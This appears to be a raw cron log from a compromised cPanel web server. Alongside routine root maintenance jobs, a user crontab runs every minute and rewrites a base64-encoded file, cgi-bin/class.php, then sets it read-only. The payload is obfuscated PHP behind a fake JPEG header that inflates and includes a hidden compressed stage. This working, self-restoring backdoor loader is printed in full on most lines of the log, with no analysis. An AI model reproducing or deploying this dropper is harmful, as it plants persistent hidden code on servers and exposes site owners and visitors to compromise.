Nov 11 23:18:01 server CROND[25702]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:19:01 server CROND[26531]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:20:01 server CROND[27348]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 23:20:01 server CROND[27350]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 23:20:01 server CROND[27351]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 23:20:01 server CROND[27360]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 23:20:01 server CROND[27361]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:21:01 server CROND[28230]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:22:01 server CROND[29050]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:23:01 server CROND[29971]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:24:01 server CROND[30496]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:25:01 server CROND[31034]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 23:25:01 server CROND[31035]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 23:25:01 server CROND[31036]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:26:01 server CROND[31724]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:27:01 server CROND[32556]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:27:01 server CROND[32557]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 23:28:01 server CROND[1020]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:29:01 server CROND[1651]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:30:01 server CROND[2481]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 23:30:01 server CROND[2480]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 23:30:01 server CROND[2482]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 23:30:01 server CROND[2483]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
